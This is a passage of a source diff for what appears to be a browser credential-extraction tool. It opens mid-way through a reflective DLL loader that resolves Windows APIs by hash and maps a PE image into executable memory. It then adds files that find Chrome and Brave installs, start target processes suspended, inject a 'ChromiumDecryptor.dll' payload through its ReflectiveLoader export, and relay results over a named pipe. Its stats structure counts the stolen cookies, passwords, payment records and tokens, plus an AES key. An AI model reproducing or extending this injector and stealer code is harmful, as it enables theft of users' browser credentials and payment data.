pCurrentEntry = pCurrentEntry->Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!uiKernel32Base || !uiNtdllBase)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
|
||||||
|
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
|
||||||
|
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
|
||||||
|
|
||||||
|
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
|
||||||
|
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
|
||||||
|
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
|
||||||
|
{
|
||||||
|
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
|
||||||
|
DWORD dwHashVal = hash_string_loader(sName);
|
||||||
|
if (dwHashVal == LOADLIBRARYA_HASH)
|
||||||
|
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||||
|
else if (dwHashVal == GETPROCADDRESS_HASH)
|
||||||
|
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||||
|
else if (dwHashVal == VIRTUALALLOC_HASH)
|
||||||
|
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||||
|
|
||||||
|
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
|
||||||
|
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
|
||||||
|
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
|
||||||
|
|
||||||
|
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
|
||||||
|
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
|
||||||
|
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
|
||||||
|
{
|
||||||
|
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
|
||||||
|
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||||
|
{
|
||||||
|
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!fnNtFlushInstructionCache)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
|
||||||
|
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (!uiNewImageBase)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
PBYTE pSourceBytes = (PBYTE)uiDllBase;
|
||||||
|
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
|
||||||
|
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
|
||||||
|
|
||||||
|
while (dwBytesToCopy--)
|
||||||
|
{
|
||||||
|
*pDestinationBytes++ = *pSourceBytes++;
|
||||||
|
}
|
||||||
|
|
||||||
|
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||||
|
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
|
||||||
|
{
|
||||||
|
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
|
||||||
|
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
|
||||||
|
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
|
||||||
|
|
||||||
|
while (dwBytesToCopy--)
|
||||||
|
{
|
||||||
|
*pDestinationBytes++ = *pSourceBytes++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
|
||||||
|
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||||
|
|
||||||
|
if (pRelocationData->Size > 0 && uiDelta != 0)
|
||||||
|
{
|
||||||
|
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
|
||||||
|
while (pRelocBlock->VirtualAddress)
|
||||||
|
{
|
||||||
|
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||||
|
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
|
||||||
|
for (DWORD k = 0; k < dwEntryCount; k++)
|
||||||
|
{
|
||||||
|
#if defined(_M_X64) || defined(_M_ARM64)
|
||||||
|
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
|
||||||
|
{
|
||||||
|
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
|
||||||
|
{
|
||||||
|
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||||
|
if (pImportData->Size > 0)
|
||||||
|
{
|
||||||
|
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
|
||||||
|
while (pImportDesc->Name)
|
||||||
|
{
|
||||||
|
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
|
||||||
|
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
|
||||||
|
if (hModule)
|
||||||
|
{
|
||||||
|
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
|
||||||
|
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
|
||||||
|
if (!pOriginalFirstThunk)
|
||||||
|
pOriginalFirstThunk = pFirstThunk;
|
||||||
|
|
||||||
|
while (pOriginalFirstThunk->u1.AddressOfData)
|
||||||
|
{
|
||||||
|
FARPROC pfnImportedFunc;
|
||||||
|
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
|
||||||
|
{
|
||||||
|
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
|
||||||
|
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
|
||||||
|
}
|
||||||
|
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
|
||||||
|
pOriginalFirstThunk++;
|
||||||
|
pFirstThunk++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pImportDesc++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||||
|
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||||
|
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
|
||||||
|
|
||||||
|
return uiNewImageBase;
|
||||||
|
}
|
||||||
Executable
+122
@@ -0,0 +1,122 @@
|
|||||||
|
#include "utils.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <Wincrypt.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Crypt32.lib")
|
||||||
|
|
||||||
|
bool get_local_appdata_path(wchar_t* path, size_t len) {
|
||||||
|
PWSTR folder_path = NULL;
|
||||||
|
HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &folder_path);
|
||||||
|
|
||||||
|
if (SUCCEEDED(hr)) {
|
||||||
|
wcsncpy_s(path, len, folder_path, _TRUNCATE);
|
||||||
|
CoTaskMemFree(folder_path);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer* base64_decode(const char* input) {
|
||||||
|
if (!input) return NULL;
|
||||||
|
|
||||||
|
DWORD size = 0;
|
||||||
|
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &size, NULL, NULL)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer* buf = buffer_create(size);
|
||||||
|
if (!buf) return NULL;
|
||||||
|
|
||||||
|
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, buf->data, &size, NULL, NULL)) {
|
||||||
|
buffer_destroy(buf);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf->size = size;
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len) {
|
||||||
|
if (!bytes || !out || out_len < len * 2 + 1) return;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < len; i++) {
|
||||||
|
sprintf_s(out + i * 2, out_len - i * 2, "%02x", bytes[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char* escape_json_string(const char* str) {
|
||||||
|
if (!str) return NULL;
|
||||||
|
|
||||||
|
size_t len = strlen(str);
|
||||||
|
size_t escaped_len = len * 6 + 1;
|
||||||
|
char* escaped = malloc(escaped_len);
|
||||||
|
if (!escaped) return NULL;
|
||||||
|
|
||||||
|
size_t j = 0;
|
||||||
|
for (size_t i = 0; i < len && j < escaped_len - 6; i++) {
|
||||||
|
switch (str[i]) {
|
||||||
|
case '"': escaped[j++] = '\\'; escaped[j++] = '"'; break;
|
||||||
|
case '\\': escaped[j++] = '\\'; escaped[j++] = '\\'; break;
|
||||||
|
case '\b': escaped[j++] = '\\'; escaped[j++] = 'b'; break;
|
||||||
|
case '\f': escaped[j++] = '\\'; escaped[j++] = 'f'; break;
|
||||||
|
case '\n': escaped[j++] = '\\'; escaped[j++] = 'n'; break;
|
||||||
|
case '\r': escaped[j++] = '\\'; escaped[j++] = 'r'; break;
|
||||||
|
case '\t': escaped[j++] = '\\'; escaped[j++] = 't'; break;
|
||||||
|
default:
|
||||||
|
if (str[i] >= 0 && str[i] <= 0x1f) {
|
||||||
|
j += sprintf_s(escaped + j, escaped_len - j, "\\u%04x", (int)str[i]);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
escaped[j++] = str[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
escaped[j] = '\0';
|
||||||
|
return escaped;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool read_file_content(const wchar_t* path, char** content, size_t* size) {
|
||||||
|
if (!path || !content || !size) return false;
|
||||||
|
|
||||||
|
FILE* f = NULL;
|
||||||
|
if (_wfopen_s(&f, path, L"rb") != 0 || !f) return false;
|
||||||
|
|
||||||
|
fseek(f, 0, SEEK_END);
|
||||||
|
long file_size = ftell(f);
|
||||||
|
fseek(f, 0, SEEK_SET);
|
||||||
|
|
||||||
|
if (file_size < 0) {
|
||||||
|
fclose(f);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
*content = malloc(file_size + 1);
|
||||||
|
if (!*content) {
|
||||||
|
fclose(f);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t read_size = fread(*content, 1, file_size, f);
|
||||||
|
fclose(f);
|
||||||
|
|
||||||
|
(*content)[read_size] = '\0';
|
||||||
|
*size = read_size;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool write_file_content(const wchar_t* path, const char* content, size_t size) {
|
||||||
|
if (!path || !content) return false;
|
||||||
|
|
||||||
|
FILE* f = NULL;
|
||||||
|
if (_wfopen_s(&f, path, L"wb") != 0 || !f) return false;
|
||||||
|
|
||||||
|
size_t written = fwrite(content, 1, size, f);
|
||||||
|
fclose(f);
|
||||||
|
|
||||||
|
return written == size;
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
#ifndef BROWSER_RESOLVER_H
|
||||||
|
#define BROWSER_RESOLVER_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
wchar_t browser_id[64];
|
||||||
|
wchar_t exe_path[MAX_PATH_LEN];
|
||||||
|
} BrowserInfo;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
BrowserInfo* items;
|
||||||
|
size_t count;
|
||||||
|
size_t capacity;
|
||||||
|
} BrowserList;
|
||||||
|
|
||||||
|
BrowserList* browser_list_create(void);
|
||||||
|
void browser_list_destroy(BrowserList* list);
|
||||||
|
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
|
||||||
|
|
||||||
|
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
|
||||||
|
BrowserList* browser_find_all_installed(void);
|
||||||
|
|
||||||
|
#endif // BROWSER_RESOLVER_H
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#ifndef INJECTION_MANAGER_H
|
||||||
|
#define INJECTION_MANAGER_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
|
||||||
|
|
||||||
|
#endif // INJECTION_MANAGER_H
|
||||||
+12
@@ -0,0 +1,12 @@
|
|||||||
|
#ifndef PIPE_COMMUNICATOR_H
|
||||||
|
#define PIPE_COMMUNICATOR_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
|
||||||
|
void pipe_destroy(PipeCommunicator* comm);
|
||||||
|
bool pipe_wait_for_client(PipeCommunicator* comm);
|
||||||
|
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
|
||||||
|
bool pipe_relay_messages(PipeCommunicator* comm);
|
||||||
|
|
||||||
|
#endif // PIPE_COMMUNICATOR_H
|
||||||
+11
@@ -0,0 +1,11 @@
|
|||||||
|
#ifndef TARGET_PROCESS_H
|
||||||
|
#define TARGET_PROCESS_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
|
||||||
|
void target_terminate(TargetProcess* target);
|
||||||
|
void target_cleanup(TargetProcess* target);
|
||||||
|
bool target_kill_network_service(const wchar_t* process_name);
|
||||||
|
|
||||||
|
#endif // TARGET_PROCESS_H
|
||||||
Executable
+49
@@ -0,0 +1,49 @@
|
|||||||
|
#ifndef INJECTOR_TYPES_H
|
||||||
|
#define INJECTOR_TYPES_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#define MAX_PATH_LEN 512
|
||||||
|
#define DLL_COMPLETION_TIMEOUT_MS 60000
|
||||||
|
#define PIPE_TIMEOUT_MS 10000
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
bool verbose;
|
||||||
|
bool extract_fingerprint;
|
||||||
|
wchar_t output_path[MAX_PATH_LEN];
|
||||||
|
wchar_t browser_type[64];
|
||||||
|
wchar_t browser_process_name[64];
|
||||||
|
wchar_t browser_exe_path[MAX_PATH_LEN];
|
||||||
|
char browser_display_name[64];
|
||||||
|
} InjectorConfig;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
int total_cookies;
|
||||||
|
int total_passwords;
|
||||||
|
int total_payments;
|
||||||
|
int total_tokens;
|
||||||
|
int profile_count;
|
||||||
|
char aes_key[256];
|
||||||
|
} ExtractionStats;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
HANDLE process;
|
||||||
|
HANDLE thread;
|
||||||
|
DWORD pid;
|
||||||
|
USHORT arch;
|
||||||
|
} TargetProcess;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
HANDLE pipe;
|
||||||
|
wchar_t pipe_name[256];
|
||||||
|
ExtractionStats stats;
|
||||||
|
} PipeCommunicator;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint8_t* data;
|
||||||
|
size_t size;
|
||||||
|
} DllPayload;
|
||||||
|
|
||||||
|
#endif // INJECTOR_TYPES_H
|
||||||
Executable
+10
@@ -0,0 +1,10 @@
|
|||||||
|
#ifndef INJECTOR_UTILS_H
|
||||||
|
#define INJECTOR_UTILS_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
|
||||||
|
bool create_directory_recursive(const wchar_t* path);
|
||||||
|
bool file_exists(const wchar_t* path);
|
||||||
|
|
||||||
|
#endif // INJECTOR_UTILS_H
|
||||||
+124
@@ -0,0 +1,124 @@
|
|||||||
|
#include "browser_resolver.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
BrowserList* browser_list_create(void) {
|
||||||
|
BrowserList* list = malloc(sizeof(BrowserList));
|
||||||
|
if (!list) return NULL;
|
||||||
|
|
||||||
|
list->items = malloc(sizeof(BrowserInfo) * 4);
|
||||||
|
if (!list->items) {
|
||||||
|
free(list);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
list->count = 0;
|
||||||
|
list->capacity = 4;
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
|
||||||
|
void browser_list_destroy(BrowserList* list) {
|
||||||
|
if (!list) return;
|
||||||
|
free(list->items);
|
||||||
|
free(list);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path) {
|
||||||
|
if (!list || !id || !path) return false;
|
||||||
|
|
||||||
|
if (list->count >= list->capacity) {
|
||||||
|
size_t new_cap = list->capacity * 2;
|
||||||
|
BrowserInfo* new_items = realloc(list->items, sizeof(BrowserInfo) * new_cap);
|
||||||
|
if (!new_items) return false;
|
||||||
|
list->items = new_items;
|
||||||
|
list->capacity = new_cap;
|
||||||
|
}
|
||||||
|
|
||||||
|
wcsncpy_s(list->items[list->count].browser_id, 64, id, _TRUNCATE);
|
||||||
|
wcsncpy_s(list->items[list->count].exe_path, MAX_PATH_LEN, path, _TRUNCATE);
|
||||||
|
list->count++;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool query_registry_value(HKEY root, const wchar_t* subkey, wchar_t* out, size_t len) {
|
||||||
|
wchar_t buffer[MAX_PATH];
|
||||||
|
DWORD buffer_size = sizeof(buffer);
|
||||||
|
|
||||||
|
LSTATUS status = RegGetValueW(root, subkey, NULL,
|
||||||
|
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
|
||||||
|
NULL, buffer, &buffer_size);
|
||||||
|
|
||||||
|
if (status == ERROR_SUCCESS) {
|
||||||
|
wcsncpy_s(out, len, buffer, _TRUNCATE);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (status == ERROR_MORE_DATA) {
|
||||||
|
wchar_t* long_buffer = malloc(buffer_size);
|
||||||
|
if (!long_buffer) return false;
|
||||||
|
|
||||||
|
status = RegGetValueW(root, subkey, NULL,
|
||||||
|
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
|
||||||
|
NULL, long_buffer, &buffer_size);
|
||||||
|
|
||||||
|
if (status == ERROR_SUCCESS) {
|
||||||
|
wcsncpy_s(out, len, long_buffer, _TRUNCATE);
|
||||||
|
free(long_buffer);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
free(long_buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len) {
|
||||||
|
if (!exe_name || !out_path) return false;
|
||||||
|
|
||||||
|
wchar_t subkey[512];
|
||||||
|
|
||||||
|
const struct {
|
||||||
|
HKEY root;
|
||||||
|
const wchar_t* base_path;
|
||||||
|
} locations[] = {
|
||||||
|
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
|
||||||
|
{ HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
|
||||||
|
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" }
|
||||||
|
};
|
||||||
|
|
||||||
|
for (size_t i = 0; i < sizeof(locations) / sizeof(locations[0]); i++) {
|
||||||
|
swprintf_s(subkey, 512, L"%s%s", locations[i].base_path, exe_name);
|
||||||
|
|
||||||
|
if (query_registry_value(locations[i].root, subkey, out_path, len)) {
|
||||||
|
if (file_exists(out_path)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BrowserList* browser_find_all_installed(void) {
|
||||||
|
BrowserList* list = browser_list_create();
|
||||||
|
if (!list) return NULL;
|
||||||
|
|
||||||
|
const struct {
|
||||||
|
const wchar_t* id;
|
||||||
|
const wchar_t* exe;
|
||||||
|
} targets[] = {
|
||||||
|
{ L"chrome", L"chrome.exe" },
|
||||||
|
{ L"brave", L"brave.exe" }
|
||||||
|
};
|
||||||
|
|
||||||
|
for (size_t i = 0; i < sizeof(targets) / sizeof(targets[0]); i++) {
|
||||||
|
wchar_t path[MAX_PATH_LEN];
|
||||||
|
if (browser_resolve_path(targets[i].exe, path, MAX_PATH_LEN)) {
|
||||||
|
browser_list_add(list, targets[i].id, path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return list;
|
||||||
|
}
|
||||||
+162
@@ -0,0 +1,162 @@
|
|||||||
|
#include "injection_manager.h"
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
static bool load_dll_payload(DllPayload* payload) {
|
||||||
|
if (!payload) return false;
|
||||||
|
|
||||||
|
HANDLE file = CreateFileW(L"ChromiumDecryptor.dll", GENERIC_READ,
|
||||||
|
FILE_SHARE_READ, NULL, OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
|
||||||
|
if (file == INVALID_HANDLE_VALUE) return false;
|
||||||
|
|
||||||
|
DWORD file_size = GetFileSize(file, NULL);
|
||||||
|
if (file_size == 0 || file_size == INVALID_FILE_SIZE) {
|
||||||
|
CloseHandle(file);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
payload->data = malloc(file_size);
|
||||||
|
if (!payload->data) {
|
||||||
|
CloseHandle(file);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD bytes_read = 0;
|
||||||
|
if (!ReadFile(file, payload->data, file_size, &bytes_read, NULL) ||
|
||||||
|
bytes_read != file_size) {
|
||||||
|
free(payload->data);
|
||||||
|
CloseHandle(file);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
payload->size = file_size;
|
||||||
|
CloseHandle(file);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void free_dll_payload(DllPayload* payload) {
|
||||||
|
if (payload && payload->data) {
|
||||||
|
free(payload->data);
|
||||||
|
payload->data = NULL;
|
||||||
|
payload->size = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD rva_to_file_offset(PIMAGE_NT_HEADERS nt_headers, DWORD rva, uint8_t* base) {
|
||||||
|
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
|
||||||
|
|
||||||
|
for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section++) {
|
||||||
|
if (rva >= section->VirtualAddress &&
|
||||||
|
rva < section->VirtualAddress + section->Misc.VirtualSize) {
|
||||||
|
return section->PointerToRawData + (rva - section->VirtualAddress);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD get_reflective_loader_offset(DllPayload* payload) {
|
||||||
|
if (!payload || !payload->data) return 0;
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)payload->data;
|
||||||
|
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)(payload->data + dos_header->e_lfanew);
|
||||||
|
if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return 0;
|
||||||
|
|
||||||
|
DWORD export_rva = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||||
|
if (export_rva == 0) return 0;
|
||||||
|
|
||||||
|
DWORD export_offset = rva_to_file_offset(nt_headers, export_rva, payload->data);
|
||||||
|
if (export_offset == 0) return 0;
|
||||||
|
|
||||||
|
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(payload->data + export_offset);
|
||||||
|
|
||||||
|
DWORD names_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNames, payload->data);
|
||||||
|
DWORD ordinals_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNameOrdinals, payload->data);
|
||||||
|
DWORD functions_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfFunctions, payload->data);
|
||||||
|
|
||||||
|
if (!names_offset || !ordinals_offset || !functions_offset) return 0;
|
||||||
|
|
||||||
|
DWORD* names = (DWORD*)(payload->data + names_offset);
|
||||||
|
WORD* ordinals = (WORD*)(payload->data + ordinals_offset);
|
||||||
|
DWORD* functions = (DWORD*)(payload->data + functions_offset);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
|
||||||
|
DWORD name_offset = rva_to_file_offset(nt_headers, names[i], payload->data);
|
||||||
|
if (!name_offset) continue;
|
||||||
|
|
||||||
|
char* func_name = (char*)(payload->data + name_offset);
|
||||||
|
if (strcmp(func_name, "ReflectiveLoader") == 0) {
|
||||||
|
DWORD func_rva = functions[ordinals[i]];
|
||||||
|
DWORD func_offset = rva_to_file_offset(nt_headers, func_rva, payload->data);
|
||||||
|
return func_offset;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
